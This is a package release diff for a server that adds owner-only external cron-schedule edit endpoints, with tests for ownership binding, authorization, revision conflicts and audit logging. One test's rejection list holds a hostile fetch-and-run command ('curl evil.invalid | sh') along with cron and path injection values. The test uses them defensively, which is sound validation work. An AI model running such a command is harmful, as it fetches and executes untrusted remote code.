@sleep2agi/commhub-server 0.9.0-preview.28 → 0.9.0-preview.29

package/src/ext-validation-regression.test.ts

@@ -1,23 +1,16 @@
 // Task #25 — regression pins for ext validation in validateIndexEntry.
 //
-// 🔴 SCOPE (lead d505179d): this suite covers ONLY the ext regex copy
-// inside `validateIndexEntry` (uploads.ts). The same-shape regex has
-// FOUR copies in this file:
-//   • L93  sanitizeExt         /\.([A-Za-z0-9]{1,16})$/    (client-name parse; no leading-dot anchor, captures group)
-//   • L141 buildStoragePath    /^\.[A-Za-z0-9]{1,16}$/     (upload-path build)
-//   • L165 pathForExistingBlob /^\.[A-Za-z0-9]{1,16}$/     (download-path build)
-//   • L219 validateIndexEntry  /^\.[A-Za-z0-9]{1,16}$/     ← THIS SUITE
-// Mutation reversal proved the other three copies get ZERO coverage
-// from this suite (each was widened to `/./` in turn — this suite still
-// passed 30/0). See docs/tests/p-25-ext-regression/mutation-red.txt.
-// Do NOT read the file name "ext validation regression" as "the ext
-// validation is regression-protected" — the ext validation exists in
-// four independent copies and only ONE is pinned here.
-// Follow-up issue tracks the dedup/alignment evaluation (see PR body).
+// 🔴 SCOPE: this suite exercises the stored-index boundary through
+// `validateIndexEntry`. Issue #527 removed the three independent copies
+// of the stored extension-token grammar: buildStoragePath,
+// pathForExistingBlob and validateIndexEntry now use one shared private
+// validator. `ext-token-shared.test.ts` separately pins all three call
+// sites. sanitizeExt remains intentionally independent because it parses
+// a client filename rather than validating an already-extracted token.
 //
-// Background (通信龙 d01bb8ce): the current regex `/^\.[A-Za-z0-9]{1,16}$/`
-// in validateIndexEntry (uploads.ts) correctly rejects 11 known malicious
-// ext values (path-escape, traversal, absolute paths, doubles, NUL bytes,
+// Background (通信龙 d01bb8ce): the stored extension-token grammar
+// `/^\.[A-Za-z0-9]{1,16}$/` correctly rejects 11 known malicious ext
+// values (path-escape, traversal, absolute paths, doubles, NUL bytes,
 // backslash forms, over-length, whitespace). Verified via real-run on
 // origin/main by lead — 11/11 malicious values → false.
 //

package/src/external-schedule-edits-http.test.ts

@@ -0,0 +1,316 @@
+import { afterAll, beforeAll, describe, expect, test } from "bun:test";
+import { mkdtempSync, rmSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+import { addNetworkMember, createNetworkTokenForNode, register } from "./auth.js";
+import { db } from "./db.js";
+import { upsertNodeWithSec1Guard } from "./tools.js";
+
+const dir = mkdtempSync(join(tmpdir(), "anet-external-schedule-edits-"));
+if (!process.env.COMMHUB_DB) throw new Error("test688 requires COMMHUB_DB before module import");
+
+const stamp = `${process.pid}_${Date.now()}`;
+const nodeId = `n_b4_${stamp}`;
+const alias = `b4-node-${stamp}`;
+const scheduleId = "managed-news-pull";
+let server: any;
+let base = "";
+let networkId = "";
+let adminToken = "";
+let ownerToken = "";
+let memberToken = "";
+let nodeToken = "";
+let foreignNodeToken = "";
+let nodeTokenId = "";
+let ownerId = "";
+let memberId = "";
+
+async function api(token: string, path: string, init?: RequestInit) {
+  const response = await fetch(`${base}${path}`, {
+    ...init,
+    headers: { Authorization: `Bearer ${token}`, "Content-Type": "application/json", ...(init?.headers || {}) },
+  });
+  return { status: response.status, body: await response.json() as any };
+}
+
+function snapshot(revision: number, extra: Record<string, unknown> = {}) {
+  return JSON.stringify({
+    observed_at: new Date().toISOString(),
+    schedules: [{
+      id: scheduleId,
+      name: "Pull X news",
+      kind: "cron",
+      frequency: "0 */6 * * *",
+      status: "active",
+      enabled: true,
+      editable: true,
+      revision,
+      log_ref: "grok-news.log",
+      ...extra,
+    }],
+  });
+}
+
+beforeAll(async () => {
+  const admin = register(`b4_admin_${stamp}`, "B4Admin123!", undefined, "B4 Admin");
+  const owner = register(`b4_owner_${stamp}`, "B4Owner123!", undefined, "B4 Owner");
+  const member = register(`b4_member_${stamp}`, "B4Member123!", undefined, "B4 Member");
+  expect(admin.ok && owner.ok && member.ok).toBe(true);
+  adminToken = admin.token!;
+  ownerToken = owner.token!;
+  memberToken = member.token!;
+  networkId = admin.network_id!;
+  const adminId = admin.user!.user_id;
+  ownerId = owner.user!.user_id;
+  memberId = member.user!.user_id;
+  expect(addNetworkMember(networkId, ownerId, "member", adminId).ok).toBe(true);
+  expect(addNetworkMember(networkId, memberId, "member", adminId).ok).toBe(true);
+
+  const minted = createNetworkTokenForNode(ownerId, networkId, alias, nodeId);
+  expect(minted.ok).toBe(true);
+  nodeToken = minted.token!;
+  nodeTokenId = minted.token_id!;
+  const foreign = createNetworkTokenForNode(memberId, networkId, `foreign-${alias}`, `n_foreign_${stamp}`);
+  expect(foreign.ok).toBe(true);
+  foreignNodeToken = foreign.token!;
+
+  db.run(
+    `INSERT INTO sessions (resume_id, alias, status, node_id, network_id, external_schedules, updated_at)
+     VALUES (?1, ?2, 'idle', ?3, ?4, ?5, datetime('now'))`,
+    [`r_b4_${stamp}`, alias, nodeId, networkId, snapshot(7)],
+  );
+
+  const mod: any = await import("./server.js");
+  server = mod.bootServer({ port: 0, hostname: "127.0.0.1" });
+  base = `http://127.0.0.1:${server.port}`;
+});
+
+afterAll(() => {
+  try { server?.stop?.(true); } catch {}
+  try { rmSync(dir, { recursive: true, force: true }); } catch {}
+});
+
+describe("RFC-036 exact-owner external schedule edit intents", () => {
+  test("ownership is pinned at node-token mint and cannot be stolen", () => {
+    const node = db.get<any>("SELECT owner_user_id, network_id FROM nodes WHERE node_id = ?1", nodeId)!;
+    expect(node.owner_user_id).toBe(ownerId);
+    expect(node.network_id).toBe(networkId);
+    const ownerAudit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.owner_claimed' AND target_id = ?1", nodeId)!;
+    expect(ownerAudit).toBeTruthy();
+    expect(JSON.parse(ownerAudit.detail)).toEqual({ node_id: nodeId, network_id: networkId });
+    const theft = createNetworkTokenForNode(memberId, networkId, alias, nodeId);
+    expect(theft).toEqual({ ok: false, error: "node_owner_mismatch" });
+
+    const legacy = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`);
+    expect(legacy.ok).toBe(true);
+    expect(db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", legacy.token_id!)!.bound_node_id).toBeNull();
+  });
+
+  test("the real node-token HTTP endpoint requires and persists the immutable node binding", async () => {
+    const httpNodeId = `n_b4_http_${stamp}`;
+    const minted = await api(ownerToken, "/api/auth/node-token", {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, node_name: `${alias}-http`, node_id: httpNodeId }),
+    });
+    expect(minted.status).toBe(200);
+    expect(minted.body.node_id).toBe(httpNodeId);
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", httpNodeId)!.owner_user_id).toBe(ownerId);
+    const resolved = db.get<any>("SELECT bound_node_id FROM api_tokens WHERE token_id = ?1", minted.body.token_id)!;
+    expect(resolved.bound_node_id).toBe(httpNodeId);
+  });
+
+  test("report_status verifies an owner binding but never first-claims a legacy node", () => {
+    expect(upsertNodeWithSec1Guard({
+      node_id: nodeId,
+      callerNetworkId: networkId,
+      callerUserId: ownerId,
+      callerTokenId: nodeTokenId,
+      alias,
+      runtime: "codex-app-server",
+    }).result).toBe("updated");
+    const wrongOwner = upsertNodeWithSec1Guard({
+      node_id: nodeId,
+      callerNetworkId: networkId,
+      callerUserId: memberId,
+      callerTokenId: nodeTokenId,
+      alias,
+    });
+    expect(wrongOwner).toMatchObject({ result: "refused", reason: "owner_mismatch" });
+
+    const legacyNodeId = `n_b4_legacy_${stamp}`;
+    db.run(
+      "INSERT INTO nodes (node_id, node_name, alias, network_id) VALUES (?1, ?2, ?2, ?3)",
+      [legacyNodeId, `${alias}-legacy`, networkId],
+    );
+    expect(upsertNodeWithSec1Guard({
+      node_id: legacyNodeId,
+      callerNetworkId: networkId,
+      callerUserId: ownerId,
+      alias: `${alias}-legacy`,
+      runtime: "claude-code-cli",
+    }).result).toBe("updated");
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
+    const legacyClaim = createNetworkTokenForNode(ownerId, networkId, `${alias}-legacy`, legacyNodeId);
+    expect(legacyClaim).toEqual({ ok: false, error: "node_owner_unclaimed" });
+    expect(db.get<any>("SELECT owner_user_id FROM nodes WHERE node_id = ?1", legacyNodeId)!.owner_user_id).toBeNull();
+  });
+
+  test("network admin, member, node token, and unknown authority fields cannot create an intent", async () => {
+    const request = {
+      network_id: networkId,
+      schedule_id: scheduleId,
+      base_revision: 7,
+      patch: { enabled: false },
+    };
+    for (const token of [adminToken, memberToken, nodeToken]) {
+      const denied = await api(token, `/api/nodes/${nodeId}/external-schedule-edits`, { method: "POST", body: JSON.stringify(request) });
+      expect(denied.status).toBe(403);
+    }
+    const forged = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ ...request, owner_user_id: ownerId }),
+    });
+    expect(forged.status).toBe(400);
+    expect(forged.body.error).toBe("invalid_request");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_requested'")!.count).toBe(0);
+  });
+
+  test("structured patch rejects command, paths, aliases, malformed cron, and empty edits before write", async () => {
+    const invalidPatches = [
+      { command: "curl evil.invalid | sh" },
+      { path: "/etc/crontab" },
+      { env: { SECRET: "value" } },
+      { cron: "@reboot" },
+      { cron: "0 0 * * * root" },
+      { cron: "0 0 * * *\n* * * * *" },
+      { cron: "61 0 * * *" },
+      {},
+    ];
+    for (const patch of invalidPatches) {
+      const denied = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+        method: "POST",
+        body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch }),
+      });
+      expect(denied.status).toBe(400);
+    }
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(0);
+  });
+
+  test("concurrent owner requests create exactly one opaque pending intent", async () => {
+    const request = {
+      method: "POST",
+      body: JSON.stringify({
+        network_id: networkId,
+        schedule_id: scheduleId,
+        base_revision: 7,
+        patch: { cron: "0 */12 * * *", enabled: true },
+      }),
+    };
+    const responses = await Promise.all([
+      api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
+      api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, request),
+    ]);
+    expect(responses.map((value) => value.status).sort()).toEqual([202, 409]);
+    const accepted = responses.find((value) => value.status === 202)!;
+    expect(accepted.body.intent.intent_id).toMatch(/^sei_[0-9a-f-]+$/);
+    expect(accepted.body.intent.patch).toEqual({ enabled: true, cron: "0 */12 * * *" });
+    expect(accepted.body.intent.created_by_user).toBeUndefined();
+    expect(accepted.body.intent.created_by_token).toBeUndefined();
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
+
+    const audit = db.get<any>("SELECT detail FROM audit_log WHERE action = 'external_schedule.edit_requested'")!;
+    expect(audit).toBeTruthy();
+    expect(audit.detail).not.toContain("curl");
+    expect(audit.detail).not.toContain("/etc/");
+    expect(audit.detail).not.toContain("utok_");
+    expect(JSON.parse(audit.detail).fields).toEqual(["cron", "enabled"]);
+  });
+
+  test("only the exact bound node token can claim; lost-response pull and terminal ack are idempotent", async () => {
+    const foreign = await api(foreignNodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(foreign.status).toBe(403);
+    expect(foreign.body.error).toBe("node_token_binding_required");
+
+    const first = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(first.status).toBe(200);
+    expect(first.body.intent.status).toBe("delivered");
+    const intentId = first.body.intent.intent_id;
+    const repeated = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(repeated.body.intent.intent_id).toBe(intentId);
+
+    const wrongRevision = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 99 }),
+    });
+    expect(wrongRevision.status).toBe(409);
+    expect(wrongRevision.body.error).toBe("invalid_result_revision");
+
+    const applied = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
+    });
+    expect(applied.status).toBe(200);
+    expect(applied.body.intent.status).toBe("applied");
+    const retried = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "applied", result_revision: 8 }),
+    });
+    expect(retried.status).toBe(200);
+    expect(retried.body.idempotent).toBe(true);
+    const contradictory = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/${intentId}/ack`, {
+      method: "POST", body: JSON.stringify({ status: "rejected", error_code: "local_apply_failed" }),
+    });
+    expect(contradictory.status).toBe(409);
+    expect(contradictory.body.error).toBe("intent_already_terminal");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM audit_log WHERE action = 'external_schedule.edit_applied'")!.count).toBe(1);
+  });
+
+  test("a delivered intent expires with its TTL and cannot permanently wedge single-flight", async () => {
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
+    const created = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(created.status).toBe(202);
+    const claimed = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(claimed.body.intent.intent_id).toBe(created.body.intent.intent_id);
+    db.run("UPDATE external_schedule_edits SET expires_at = ?1 WHERE intent_id = ?2", [Date.now() - 1, created.body.intent.intent_id]);
+    const afterExpiry = await api(nodeToken, `/api/nodes/${nodeId}/external-schedule-edits/pending`);
+    expect(afterExpiry.body.intent).toBeNull();
+    expect(db.get<any>("SELECT status FROM external_schedule_edits WHERE intent_id = ?1", created.body.intent.intent_id)!.status).toBe("expired");
+
+    const replacement = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(replacement.status).toBe(202);
+    db.run("DELETE FROM external_schedule_edits WHERE intent_id IN (?1, ?2)", [created.body.intent.intent_id, replacement.body.intent.intent_id]);
+  });
+
+  test("stale snapshot revision and read-only schedules fail closed without creating intent", async () => {
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+1 second') WHERE node_id = ?2", [snapshot(8), nodeId]);
+    const stale = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 7, patch: { enabled: false } }),
+    });
+    expect(stale.status).toBe(409);
+    expect(stale.body.error).toBe("revision_conflict");
+
+    db.run("UPDATE sessions SET external_schedules = ?1, updated_at = datetime('now', '+2 second') WHERE node_id = ?2", [snapshot(8, { editable: false }), nodeId]);
+    const readOnly = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits`, {
+      method: "POST",
+      body: JSON.stringify({ network_id: networkId, schedule_id: scheduleId, base_revision: 8, patch: { enabled: false } }),
+    });
+    expect(readOnly.status).toBe(409);
+    expect(readOnly.body.error).toBe("schedule_read_only");
+    expect(db.get<any>("SELECT COUNT(*) AS count FROM external_schedule_edits")!.count).toBe(1);
+  });
+
+  test("owner history exposes no identity, token, network, or command metadata", async () => {
+    const listed = await api(ownerToken, `/api/nodes/${nodeId}/external-schedule-edits?network_id=${encodeURIComponent(networkId)}`);
+    expect(listed.status).toBe(200);
+    expect(listed.body.edits).toHaveLength(1);
+    const serialized = JSON.stringify(listed.body);
+    for (const secretField of ["created_by_user", "created_by_token", "consumed_by_token", "network_id", "command", "path", "env"]) {
+      expect(serialized).not.toContain(secretField);
+    }
+  });
+});

package/src/external-schedule-edits.ts

@@ -0,0 +1,314 @@
+import { db } from "./db.js";
+import { getUserNetworkRole } from "./auth.js";
+import { pushEvent } from "./push.js";
+import { parseExternalSchedulePatch, type ExternalSchedulePatch } from "./shared/external-schedule-contract.js";
+
+type Auth = {
+  userId: string;
+  networkId: string | null;
+  username: string;
+  tokenId: string | null;
+} | null;
+
+export type ExternalScheduleEditContext = {
+  req: Request;
+  url: URL;
+  auth: Auth;
+  isUserToken: boolean;
+  isNodeToken: boolean;
+};
+
+type NodeRow = {
+  node_id: string;
+  alias: string | null;
+  network_id: string | null;
+  owner_user_id: string | null;
+};
+
+type EditRow = {
+  intent_id: string;
+  network_id: string;
+  node_id: string;
+  schedule_id: string;
+  base_revision: number;
+  patch_json: string;
+  status: string;
+  expires_at: number;
+  created_at: number;
+  delivered_at: number | null;
+  acked_at: number | null;
+  created_by_user: string;
+  created_by_token: string;
+  consumed_by_token: string | null;
+  result_revision: number | null;
+  error_code: string | null;
+};
+
+const INTENT_TTL_MS = 5 * 60_000;
+const NODE_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._-]{0,199}$/;
+const SCHEDULE_ID_RE = /^[A-Za-z0-9][A-Za-z0-9._-]{0,127}$/;
+
+function error(error: string, status: number, extra: Record<string, unknown> = {}): Response {
+  return Response.json({ ok: false, error, ...extra }, { status });
+}
+
+async function bodyObject(req: Request): Promise<Record<string, unknown>> {
+  const value = await req.json();
+  if (!value || typeof value !== "object" || Array.isArray(value)) throw new Error("invalid_json");
+  return value as Record<string, unknown>;
+}
+
+function exactKeys(obj: Record<string, unknown>, allowed: readonly string[]): boolean {
+  const set = new Set(allowed);
+  return Object.keys(obj).every((key) => set.has(key));
+}
+
+function nodeRow(nodeId: string): NodeRow | null {
+  return db.get<NodeRow>(
+    "SELECT node_id, alias, network_id, owner_user_id FROM nodes WHERE node_id = ?1",
+    nodeId,
+  ) ?? null;
+}
+
+function requireOwner(ctx: ExternalScheduleEditContext, node: NodeRow, networkId: unknown): Response | null {
+  if (!ctx.isUserToken || !ctx.auth?.tokenId) return error("user_token_required", 403);
+  if (!node.owner_user_id) return error("node_owner_unclaimed", 409);
+  if (ctx.auth.userId !== node.owner_user_id) return error("node_owner_required", 403);
+  if (typeof networkId !== "string" || networkId !== node.network_id) return error("cross_network_node", 403);
+  if (!getUserNetworkRole(ctx.auth.userId, networkId)) return error("network_membership_required", 403);
+  return null;
+}
+
+function requireBoundNode(ctx: ExternalScheduleEditContext, node: NodeRow): Response | null {
+  if (!ctx.isNodeToken || !ctx.auth?.tokenId) return error("network_token_required", 403);
+  const token = db.get<{ token_id: string; user_id: string; network_id: string | null; name: string; bound_node_id: string | null }>(
+    "SELECT token_id, user_id, network_id, name, bound_node_id FROM api_tokens WHERE token_id = ?1",
+    ctx.auth.tokenId,
+  );
+  if (!token || token.bound_node_id !== node.node_id || token.network_id !== node.network_id || token.user_id !== node.owner_user_id) {
+    return error("node_token_binding_required", 403);
+  }
+  return null;
+}
+
+function reportedSchedule(node: NodeRow, scheduleId: string): Record<string, unknown> | null {
+  const row = db.get<{ external_schedules: string }>(
+    `SELECT external_schedules FROM sessions
+     WHERE node_id = ?1 AND network_id = ?2 AND external_schedules IS NOT NULL
+     ORDER BY updated_at DESC LIMIT 1`,
+    node.node_id,
+    node.network_id,
+  );
+  if (!row) return null;
+  try {
+    const snapshot = JSON.parse(row.external_schedules) as any;
+    if (!Array.isArray(snapshot?.schedules)) return null;
+    return snapshot.schedules.find((entry: any) => entry?.id === scheduleId) ?? null;
+  } catch {
+    return null;
+  }
+}
+
+function publicEdit(row: EditRow): Record<string, unknown> {
+  let patch: ExternalSchedulePatch = {};
+  try { patch = JSON.parse(row.patch_json); } catch {}
+  return {
+    intent_id: row.intent_id,
+    node_id: row.node_id,
+    schedule_id: row.schedule_id,
+    base_revision: row.base_revision,
+    patch,
+    status: row.status,
+    expires_at: new Date(row.expires_at).toISOString(),
+    created_at: new Date(row.created_at).toISOString(),
+    delivered_at: row.delivered_at ? new Date(row.delivered_at).toISOString() : null,
+    acked_at: row.acked_at ? new Date(row.acked_at).toISOString() : null,
+    result_revision: row.result_revision,
+    error_code: row.error_code,
+  };
+}
+
+function audit(
+  userId: string | null,
+  username: string | null,
+  action: string,
+  intentId: string,
+  networkId: string,
+  detail: Record<string, unknown>,
+): void {
+  db.run(
+    `INSERT INTO audit_log (user_id, username, action, target_type, target_id, detail, network_id)
+     VALUES (?1, ?2, ?3, 'external_schedule_edit', ?4, ?5, ?6)`,
+    [userId, username, action, intentId, JSON.stringify(detail), networkId],
+  );
+}
+
+function expireOpenIntents(node: NodeRow, now: number): void {
+  const expired = db.all<EditRow>(
+    "SELECT * FROM external_schedule_edits WHERE node_id = ?1 AND network_id = ?2 AND status IN ('pending', 'delivered') AND expires_at <= ?3",
+    node.node_id,
+    node.network_id,
+    now,
+  );
+  for (const row of expired) {
+    const changed = db.run(
+      "UPDATE external_schedule_edits SET status = 'expired', acked_at = ?1, error_code = 'intent_expired' WHERE intent_id = ?2 AND status IN ('pending', 'delivered') AND expires_at <= ?1",
+      [now, row.intent_id],
+    );
+    if (changed.changes === 1) {
+      audit(row.created_by_user, null, "external_schedule.edit_expired", row.intent_id, row.network_id, {
+        node_id: row.node_id, schedule_id: row.schedule_id, base_revision: row.base_revision, error_code: "intent_expired",
+      });
+    }
+  }
+}
+
+export async function handleExternalScheduleEditRequest(ctx: ExternalScheduleEditContext): Promise<Response | null> {
+  const match = ctx.url.pathname.match(/^\/api\/nodes\/([^/]+)\/external-schedule-edits(?:\/(pending|[^/]+)(?:\/(ack))?)?$/);
+  if (!match) return null;
+  const nodeId = decodeURIComponent(match[1]);
+  if (!NODE_ID_RE.test(nodeId)) return error("invalid_node_id", 400);
+  const tail = match[2] || null;
+  const ack = match[3] === "ack";
+  const node = nodeRow(nodeId);
+  if (!node) return error("node_not_found", 404);
+
+  if (tail === "pending" && ctx.req.method === "GET") {
+    const denied = requireBoundNode(ctx, node);
+    if (denied) return denied;
+    const now = Date.now();
+    const intent = db.transaction(() => {
+      expireOpenIntents(node, now);
+      const already = db.get<EditRow>(
+        `SELECT * FROM external_schedule_edits
+         WHERE node_id = ?1 AND network_id = ?2 AND status = 'delivered' AND consumed_by_token = ?3
+         ORDER BY delivered_at ASC LIMIT 1`,
+        node.node_id, node.network_id, ctx.auth!.tokenId,
+      );
+      if (already) return already;
+      const pending = db.get<EditRow>(
+        `SELECT * FROM external_schedule_edits
+         WHERE node_id = ?1 AND network_id = ?2 AND status = 'pending' AND expires_at > ?3
+         ORDER BY created_at ASC LIMIT 1`,
+        node.node_id, node.network_id, now,
+      );
+      if (!pending) return null;
+      const claimed = db.run(
+        `UPDATE external_schedule_edits SET status = 'delivered', delivered_at = ?1, consumed_by_token = ?2
+         WHERE intent_id = ?3 AND status = 'pending' AND expires_at > ?1`,
+        [now, ctx.auth!.tokenId, pending.intent_id],
+      );
+      if (claimed.changes !== 1) return null;
+      audit(pending.created_by_user, null, "external_schedule.edit_delivered", pending.intent_id, pending.network_id, {
+        node_id: pending.node_id, schedule_id: pending.schedule_id, base_revision: pending.base_revision,
+      });
+      return { ...pending, status: "delivered", delivered_at: now, consumed_by_token: ctx.auth!.tokenId };
+    });
+    return Response.json({ ok: true, intent: intent ? publicEdit(intent) : null });
+  }
+
+  if (tail && tail !== "pending" && ack && ctx.req.method === "POST") {
+    const denied = requireBoundNode(ctx, node);
+    if (denied) return denied;
+    let body: Record<string, unknown>;
+    try { body = await bodyObject(ctx.req); } catch { return error("invalid_json", 400); }
+    if (!exactKeys(body, ["status", "result_revision", "error_code"])) return error("invalid_ack", 400);
+    if (body.status !== "applied" && body.status !== "rejected") return error("invalid_ack", 400);
+    if (body.status === "applied" && !Number.isSafeInteger(body.result_revision)) return error("invalid_result_revision", 400);
+    if (body.status === "rejected" && body.result_revision !== undefined) return error("invalid_ack", 400);
+    if (body.error_code !== undefined && (typeof body.error_code !== "string" || !/^[a-z0-9_]{1,64}$/.test(body.error_code))) return error("invalid_error_code", 400);
+    const now = Date.now();
+    const result = db.transaction(() => {
+      const row = db.get<EditRow>("SELECT * FROM external_schedule_edits WHERE intent_id = ?1", tail);
+      if (!row || row.node_id !== node.node_id || row.network_id !== node.network_id || row.consumed_by_token !== ctx.auth!.tokenId) {
+        return { error: "intent_not_found", status: 404 } as const;
+      }
+      if (row.status === "applied" || row.status === "rejected") {
+        const requestedRevision = body.status === "applied" ? Number(body.result_revision) : null;
+        const requestedError = body.error_code ?? null;
+        if (row.status === body.status && row.result_revision === requestedRevision && row.error_code === requestedError) {
+          return { row, idempotent: true } as const;
+        }
+        return { error: "intent_already_terminal", status: 409 } as const;
+      }
+      if (row.status !== "delivered") return { error: "intent_not_delivered", status: 409 } as const;
+      if (body.status === "applied" && Number(body.result_revision) !== row.base_revision + 1) {
+        return { error: "invalid_result_revision", status: 409 } as const;
+      }
+      const changed = db.run(
+        `UPDATE external_schedule_edits SET status = ?1, acked_at = ?2, result_revision = ?3, error_code = ?4
+         WHERE intent_id = ?5 AND status = 'delivered' AND consumed_by_token = ?6`,
+        [body.status, now, body.status === "applied" ? Number(body.result_revision) : null, body.error_code ?? null, row.intent_id, ctx.auth!.tokenId],
+      );
+      if (changed.changes !== 1) return { error: "intent_state_conflict", status: 409 } as const;
+      audit(row.created_by_user, null, `external_schedule.edit_${body.status}`, row.intent_id, row.network_id, {
+        node_id: row.node_id, schedule_id: row.schedule_id, base_revision: row.base_revision,
+        result_revision: body.status === "applied" ? Number(body.result_revision) : null,
+        error_code: body.error_code ?? null,
+      });
+      return { row: { ...row, status: String(body.status), acked_at: now, result_revision: body.status === "applied" ? Number(body.result_revision) : null, error_code: body.error_code ?? null } } as const;
+    });
+    if ("error" in result) return error(result.error, result.status);
+    return Response.json({ ok: true, intent: publicEdit(result.row), ...(result.idempotent ? { idempotent: true } : {}) });
+  }
+
+  if (tail) return error("not_found", 404);
+
+  if (ctx.req.method === "GET") {
+    const denied = requireOwner(ctx, node, ctx.url.searchParams.get("network_id"));
+    if (denied) return denied;
+    const rows = db.all<EditRow>(
+      "SELECT * FROM external_schedule_edits WHERE node_id = ?1 AND network_id = ?2 AND created_by_user = ?3 ORDER BY created_at DESC LIMIT 100",
+      node.node_id, node.network_id, ctx.auth!.userId,
+    );
+    return Response.json({ ok: true, edits: rows.map(publicEdit) });
+  }
+
+  if (ctx.req.method !== "POST") return error("method_not_allowed", 405);
+  let body: Record<string, unknown>;
+  try { body = await bodyObject(ctx.req); } catch { return error("invalid_json", 400); }
+  if (!exactKeys(body, ["network_id", "schedule_id", "base_revision", "patch"])) return error("invalid_request", 400);
+  const denied = requireOwner(ctx, node, body.network_id);
+  if (denied) return denied;
+  if (typeof body.schedule_id !== "string" || !SCHEDULE_ID_RE.test(body.schedule_id)) return error("invalid_schedule_id", 400);
+  if (!Number.isSafeInteger(body.base_revision) || Number(body.base_revision) < 0) return error("invalid_revision", 400);
+  let patch: ExternalSchedulePatch;
+  try { patch = parseExternalSchedulePatch(body.patch); } catch (e: any) { return error(String(e?.message || "invalid_patch"), 400); }
+  const schedule = reportedSchedule(node, body.schedule_id);
+  if (!schedule) return error("schedule_not_found", 404);
+  if (schedule.kind !== "cron" || schedule.editable !== true || !Number.isSafeInteger(schedule.revision)) return error("schedule_read_only", 409);
+  if (Number(schedule.revision) !== Number(body.base_revision)) return error("revision_conflict", 409, { current_revision: schedule.revision });
+
+  const intentId = `sei_${crypto.randomUUID()}`;
+  const now = Date.now();
+  try {
+    db.transaction(() => {
+      // Re-read ownership + snapshot inside the write transaction so a
+      // concurrent owner/snapshot change cannot slip between preflight and INSERT.
+      const currentNode = nodeRow(node.node_id);
+      if (!currentNode || currentNode.owner_user_id !== ctx.auth!.userId || currentNode.network_id !== node.network_id) throw new Error("node_owner_changed");
+      const current = reportedSchedule(currentNode, body.schedule_id as string);
+      if (!current || current.editable !== true || current.kind !== "cron") throw new Error("schedule_read_only");
+      if (Number(current.revision) !== Number(body.base_revision)) throw new Error("revision_conflict");
+      db.run(
+        `INSERT INTO external_schedule_edits
+         (intent_id, network_id, node_id, schedule_id, base_revision, patch_json, status, expires_at, created_at, created_by_user, created_by_token)
+         VALUES (?1, ?2, ?3, ?4, ?5, ?6, 'pending', ?7, ?8, ?9, ?10)`,
+        [intentId, node.network_id, node.node_id, body.schedule_id, body.base_revision, JSON.stringify(patch), now + INTENT_TTL_MS, now, ctx.auth!.userId, ctx.auth!.tokenId],
+      );
+      audit(ctx.auth!.userId, ctx.auth!.username, "external_schedule.edit_requested", intentId, node.network_id!, {
+        node_id: node.node_id, schedule_id: body.schedule_id, base_revision: body.base_revision, fields: Object.keys(patch).sort(),
+      });
+    });
+  } catch (e: any) {
+    const code = String(e?.message || "edit_create_failed");
+    if (/UNIQUE|duplicate key/i.test(code)) return error("edit_in_flight", 409);
+    if (code === "revision_conflict") return error(code, 409);
+    if (code === "schedule_read_only") return error(code, 409);
+    if (code === "node_owner_changed") return error(code, 409);
+    throw e;
+  }
+  try { pushEvent(node.alias || node.node_id, { type: "external_schedule_edit", intent_id: intentId }, node.network_id); } catch {}
+  const created = db.get<EditRow>("SELECT * FROM external_schedule_edits WHERE intent_id = ?1", intentId)!;
+  return Response.json({ ok: true, intent: publicEdit(created) }, { status: 202 });
+}